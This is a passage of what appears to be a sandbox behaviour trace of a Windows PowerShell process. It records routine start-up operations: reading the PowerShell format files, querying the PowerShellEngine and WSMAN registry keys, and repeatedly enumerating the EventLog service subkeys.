File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 4096, size_out = 4096 | 6 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 4096, size_out = 2762 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 310, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 4096 | 17 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 3022 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 50, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 4096 | 6 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 281 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 4096 | 62 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 3895 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 201, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 4096, size_out = 4096 | 21 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 4096, size_out = 3687 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 409, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 4096, size_out = 4096 | 4 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 4096, size_out = 2228 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 844, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
File | Create | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_type | 2 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 4096, size_out = 4096 | 4 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 4096, size_out = 3736 | 1 |
Fn
Data
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 360, size_out = 0 | 1 |
Fn
|
|
File | Read | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, size = 4096, size_out = 0 | 1 |
Fn
|
|
File | Get Info | filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 7 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Get Key Info | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Enumerate Values | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Enumerate Values | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Enumerate Values | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Get Key Info | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Enumerate Values | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Enumerate Values | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Enumerate Values | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ | 1 |
Fn
|
|
Registry | Read Value | reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ | 1 |
Fn
|
|
Environment | Get Environment String | name = MshEnableTrace | 2 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Get Key Info | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Get Key Info | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Get Key Info | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Get Key Info | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Enumerate Keys | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell | 1 |
Fn
|
|
Registry | Open Key | reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents | 1 |
Fn
|
|
